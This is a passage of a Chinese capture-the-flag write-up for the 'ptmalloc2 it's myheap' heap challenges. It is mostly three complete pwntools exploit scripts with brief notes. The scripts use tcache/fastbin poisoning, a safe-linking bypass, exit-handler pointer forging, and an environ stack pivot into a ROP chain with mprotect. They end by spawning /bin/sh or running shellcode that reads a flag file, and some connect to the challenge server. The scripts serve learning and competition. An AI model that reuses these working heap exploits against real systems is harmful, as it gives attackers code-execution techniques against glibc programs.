v3 = __readfsqword(0x28u);
printf("[?] Enter chunk id: ");
__isoc99_scanf("%lld", &v1);
if ( v1 < 0x10 )
{
v2 = *((_QWORD *)&chunk_list + v1);
if ( v2 )
{
if ( *(_QWORD *)(v2 + 8) )
{
free(*((void **)&chunk_list + v1));
free(*(void **)(v2 + 16));
*(_QWORD *)(v2 + 8) = 0LL;
}
else
{
puts("[-] Chunk is not used!");
}
}
else
{
puts("[-] No such chunk!");
}
}
else
{
puts("[-] Chunk limit exceeded!");
}
return v3 - __readfsqword(0x28u);
}

unsigned __int64 add_chunk()
{
unsigned __int64 v1; // [rsp+8h] [rbp-28h] BYREF
size_t size; // [rsp+10h] [rbp-20h] BYREF
_QWORD *v3; // [rsp+18h] [rbp-18h]
void *buf; // [rsp+20h] [rbp-10h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
printf("[?] please input chunk_idx: ");
__isoc99_scanf("%lld", &v1);
if ( v1 < 0x10 )
{
printf("[?] Enter chunk size: ");
__isoc99_scanf("%lld", &size);
v3 = malloc(0x18uLL);
*v3 = size;
if ( v3 )
{
buf = malloc(size);
v3[2] = buf;
if ( buf )
{
printf("[?] Enter chunk data: ");
read(0, buf, size);
chunk_list[v1] = v3;
v3[1] = 1LL;
}
else
{
puts("[-] Failed to create chunk for data!");
}
}
else
{
puts("[-] Failed to create new chunk!");
}
}
else
{
puts("[-] Chunk limit exceeded!");
}
return v5 - __readfsqword(0x28u);
}

可以通过glibc堆分配机制伪造一个chunk->inuse去泄露libc,meta_chunk中的指针可以用来泄露堆基地址,有了堆基地址就可以绕过safe link实现任意地址分配,可以通过写gift函数指针去劫持控制流

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "127.0.0.1"
PORT = 39411

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

def create(idx,size,content):
sla(">>>","1")
sla("[?] please input chunk_idx:",str(idx))
sla("[?] Enter chunk size: ",str(size))
sa("[?] Enter chunk data: ",content)

def delete(idx):
sla(">>>","2")
sla(" Enter chunk id: ",str(idx))

def show(idx):
sla(">>>","3")
sla("[?] Enter chunk id: ",str(idx))

def gift():
sla(">>>","114514")

p = connect()

for i in range(7):
create(i,0x30,"AAAA")

create(7,0x30,"AAAA")
create(8,0x30,"AAAA")

for i in range(7):
delete(i)

create(9,0x18,b"A" * 0x10)
show(9)
ru(b"A" * 0x10)
leak = u64(ru("W")[:-1])
heap_base = leak - (0x4c34a0 - 0x4c3000)
success(hex(leak))
success(hex(heap_base))
# g(p)
delete(9)

delete(7)
delete(8)

for i in range(7):
create(i,0x30,"AAAA")

create(9,0x18,p64(0x30) + p64(1))

for i in range(7):
delete(i)

delete(7)

for i in range(7):
create(i,0x30,"AAAA")
# g(p)
target = 0x404070
pos = heap_base + (0x700560 - 0x700000)
target = (pos >> 12) ^ target

create(7,0x30,p64(target))
create(8,0x30,"BBBB")
create(7,0x30,"BBBB")

gift()
ru("this is a gift: ")
libc_base = int(r(14),16) - libc.sym['puts']
system = libc_base + libc.sym['system']

create(7,0x30,b"/bin/sh\x00" + b'\x00' * 0x8 + p64(system))
# g(p)
gift()

p.interactive()

ptmalloc2 it’s myheap pro

在ptmalloc2 its myheap的基础上把gift函数移除掉了

可以通过environ去泄露栈地址,打栈迁移

或者是用exit_hook的做法,有注册函数可以通过异或拿到fs 0x28的值,然后把cxa类型dl_fini写成system的地址 再传binsh的参数

用environ的方式会简单一些

exit_hook详细的原理可以参考这篇文章 https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "xyctf.top"
PORT = 33162

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

def create(idx,size,content):
sla(">>>","1")
sla("[?] please input chunk_idx:",str(idx))
sla("[?] Enter chunk size: ",str(size))
sa("[?] Enter chunk data: ",content)

def delete(idx):
sla(">>>","2")
sla(" Enter chunk id: ",str(idx))

def show(idx):
sla(">>>","3")
sla("[?] Enter chunk id: ",str(idx))

def exit():
sla(">>>","4")

p = connect()

for i in range(7):
create(i,0x80,"AAAA")

create(7,0x80,"AAAA")
create(8,0x80,"AAAA")
create(9,0x80,"AAAA")

for i in range(7):
delete(i)

delete(7)
delete(8)

for i in range(7):
create(i,0x80,"AAAA")

create(10,0x18,p64(0x80) + p64(1))
show(7)

libc_base = u64(r(8)) - (0x750dcd21ace0 - 0x750dcd000000)
success(f"libc_base ->{hex(libc_base)}")

for i in range(7):
delete(i)

create(10,0x18,b"A" * 0x10)
show(10)
ru(b"A" * 0x10)
heap_base = u64(ru("W")[:-1]) - (0x56de0dc3f370 - 0x56de0dc3f000)
success(f"heap_base ->{hex(heap_base)}")

# fastbin dup
for i in range(7):
create(i,0x68,"AAAA")

create(7,0x68,"AAAA")
create(8,0x68,"AAAA")

for i in range(7):
delete(i)

delete(7)
delete(8)

for i in range(7):
create(i,0x68,"AAAA")

create(10,0x18,p64(0x68) + p64(1))

for i in range(7):
delete(i)
delete(7)

for i in range(7):
create(i,0x68,"AAAA")

inital_offset = 0x715f4421bf00 - 0x715f44000000
inital = libc_base + inital_offset

pos = heap_base + (0x5c62ed2dcbd0 - 0x5c62ed2dc000)
target = (inital - 0x10) ^ (pos >> 12)

rol = lambda val, r_bits, max_bits: (val << r_bits%max_bits) & (2**max_bits-1) | ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))

manba = 0x401700

# pwndbg> x /40gx __exit_funcs
# 0x77847101bf00 <initial>: 0x0000000000000000 0x0000000000000002
# 0x77847101bf10 <initial+16>: 0x0000000000000004 0x88913e9c1a11fe48 <- dl_fini
# 0x77847101bf20 <initial+32>: 0x0000000000000000 0x0000000000000000
# 0x77847101bf30 <initial+48>: 0x0000000000000004 0x6799dc321491fe48 <- manba
# 0x77847101bf40 <initial+64>: 0x0000000000000000 0x0000000000000000
# 0x77847101bf50 <initial+80>: 0x0000000000000000 0x0000000000000000
# 0x77847101bf60 <initial+96>: 0x0000000000000000 0x0000000000000000
# 0x77847101bf70 <initial+112>: 0x0000000000000000 0x0000000000000000
# 0x77847101bf80 <initial+128>: 0x0000000000000000 0x0000000000000000

create(7,0x68,p64(target))
create(8,0x68,"AAAA")
create(7,0x68,"AAAA")
create(7,0x68,b'A' * 0x10 + p64(0) + p64(2))
show(7)

ru(b'A' * 0x10)
print(r(8))
print(r(8))
print(r(8))
print(r(8))
print(r(8))
print(r(8))
print(r(8))

encode_manba = u64(r(8))
key = ror(encode_manba,0x11,64) ^ manba

print(hex(encode_manba))
print(hex(key))
print(hex(ror(encode_manba,0x11,64) ^ key))

# fastbin dup
for i in range(7):
create(i,0x58,"AAAA")

create(7,0x58,"AAAA")
create(8,0x58,"AAAA")

for i in range(7):
delete(i)

delete(7)
delete(8)

for i in range(7):
create(i,0x58,"AAAA")

create(10,0x18,p64(0x58) + p64(1))

for i in range(7):
delete(i)

delete(7)

for i in range(7):
create(i,0x58,"AAAA")

system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))

payload = p64(0) + p64(2) + p64(4) + p64(rol(system ^ key, 0x11, 64))
payload += p64(binsh) + p64(0) + p64(4) + p64(encode_manba)

pos = heap_base + (0x64ac6b5aa0d0 - 0x64ac6b5a9000)
target = (inital - 0x10) ^ (pos >> 12)

create(7,0x58,p64(target))
create(8,0x58,"AAAA")
create(7,0x58,"AAAA")
create(7,0x58,b'A' * 0x10 + payload)

exit()

p.interactive()

ptmalloc2 it’s myheap plus

在pro的基础上加了orw

在有任意地址读写的原语后,实现orw三个函数调用,比较简单的做法是通过environ泄露栈地址,然后栈迁移到堆上打rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "xyctf.top"
PORT = 33161

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

def create(idx,size,content):
sla(">>>","1")
sla("[?] please input chunk_idx:",str(idx))
sla("[?] Enter chunk size: ",str(size))
sa("[?] Enter chunk data: ",content)

def delete(idx):
sla(">>>","2")
sla(" Enter chunk id: ",str(idx))

def show(idx):
sla(">>>","3")
sla("[?] Enter chunk id: ",str(idx))

def exit():
sla(">>>","4")

p = connect()

for i in range(7):
create(i,0x80,"AAAA")
create(7,0x80,"AAAA")
create(8,0x80,"AAAA")
create(9,0x80,"AAAA")

for i in range(7):
delete(i)
delete(7)
delete(8)

for i in range(7):
create(i,0x80,"AAAA")

create(10,0x18,p64(0x80) + p64(1))
show(7)

libc_base = u64(r(8)) - (0x750dcd21ace0 - 0x750dcd000000)
success(f"libc_base ->{hex(libc_base)}")

show(10)
r(8)
r(8)
heap_base = u64(r(8)) - (0x57369a90c870 - 0x57369a90b000)
success(f"heap_base ->{hex(heap_base)}")

# fastbin dup
for i in range(7):
create(i,0x68,"AAAA")
create(7,0x68,"AAAA")
create(8,0x68,"AAAA")
create(9,0x68,"AAAA")

for i in range(7):
delete(i)
delete(7)
delete(8)

for i in range(7):
create(i,0x68,"AAAA")
create(10,0x18,p64(0x68) + p64(1))

for i in range(7):
delete(i)
delete(7)

for i in range(7):
create(i,0x68,"AAAA")

# pwndbg> p &__environ
# $1 = (char ***) 0x7c98a8622200 <environ>
# pwndbg> p /x 0x7c98a8622200 - 0x7c98a8400000
# $2 = 0x222200
# pwndbg>

__environ_addr = libc_base + 0x222200

pos = heap_base + (0x5a28a79cbb30 - 0x5a28a79cb000)
target = (pos >> 12) ^ (__environ_addr - 0x10)

create(7,0x68,p64(target))
create(8,0x68,"AAAA")
create(7,0x68,"AAAA")
create(7,0x68,"A" * 0x10)

show(7)
ru("A" * 0x10)
stack_addr = u64(r(8))
success(hex(stack_addr))

# main
stack_rbp = stack_addr - (0x7ffecf5425e8 - 0x7ffecf5424c0)
stack_ret = stack_addr - (0x7ffecf5425e8 - 0x7ffecf5424c8)

success(hex(stack_rbp))
success(hex(stack_ret))

# fastbin dup
for i in range(7):
create(i,0x58,"AAAA")
create(7,0x58,"AAAA")
create(8,0x58,"AAAA")
create(9,0x58,"AAAA")

for i in range(7):
delete(i)
delete(7)
delete(8)

for i in range(7):
create(i,0x58,"AAAA")
create(10,0x18,p64(0x58) + p64(1))

for i in range(7):
delete(i)
delete(7)

for i in range(7):
create(i,0x58,"AAAA")

ret = libc_base + 0x0000000000029139
leave_ret = libc_base + 0x000000000004da83

rdi = libc_base + 0x000000000002a3e5 # pop rdi; ret
rsi = libc_base + 0x000000000002be51 # pop rsi; ret
rdx_r12 = libc_base + 0x000000000011f2e7 # pop rdx ; pop r12 ; ret
rcx = libc_base + 0x000000000003d1ee # pop rcx ; ret
r8 = libc_base + 0x00000000001659e6 # pop r8 ; mov eax, 1 ; ret

read = libc_base + libc.sym['read']
mmap = libc_base + libc.sym['mmap']
mprotect = libc_base + libc.sym['mprotect']

block_addr = heap_base + (0x5acfdfaa5010 - 0x5acfdfaa3000) # rop_block1_addr
block_addr2 = heap_base + (0x5c22450170c0 - 0x5c2245015000) # rop_block2_addr

payload1 = p64(rdi) + p64(heap_base)
payload1 += p64(rsi) + p64(0x21000)
payload1 += p64(rdx_r12) + p64(7) + p64(0)
payload1 += p64(mprotect)
payload1 += p64(block_addr2 + 0x10)
create(11,0x80,payload1) # rop_block1

payload2 = b'flag'
payload2 = payload2.ljust(0x10,b'\x00')
payload2 += asm(f'''
mov rdi,{block_addr2}
mov rsi,0
mov rax,2
syscall

mov rdi,3
mov rsi,{block_addr2}
mov rdx,0x40
mov rax,0
syscall

mov rdi,1
mov rsi,{block_addr2}
mov rdx,0x40
mov rax,1
syscall
''')
create(12,0x80,payload2) # rop_block2

pos = heap_base + (0x644695eefeb0 - 0x644695eee000)
target = (stack_rbp) ^ (pos >> 12)

create(7,0x58,p64(target))
create(8,0x58,"AAAA")
create(7,0x58,"AAAA")
create(7,0x58,p64(block_addr - 0x8) + p64(leave_ret))

# g(p)
exit()

p.interactive()
CATALOG
  1. 1. hello_world(签到)
  2. 2. Intermittent
  3. 3. invisible_flag
  4. 4. static_link
  5. 5. fmt
  6. 6. simple_srop
  7. 7. one_byte
  8. 8. fastfastfast
  9. 9. ptmalloc2 it’s myheap
  10. 10. ptmalloc2 it’s myheap pro
  11. 11. ptmalloc2 it’s myheap plus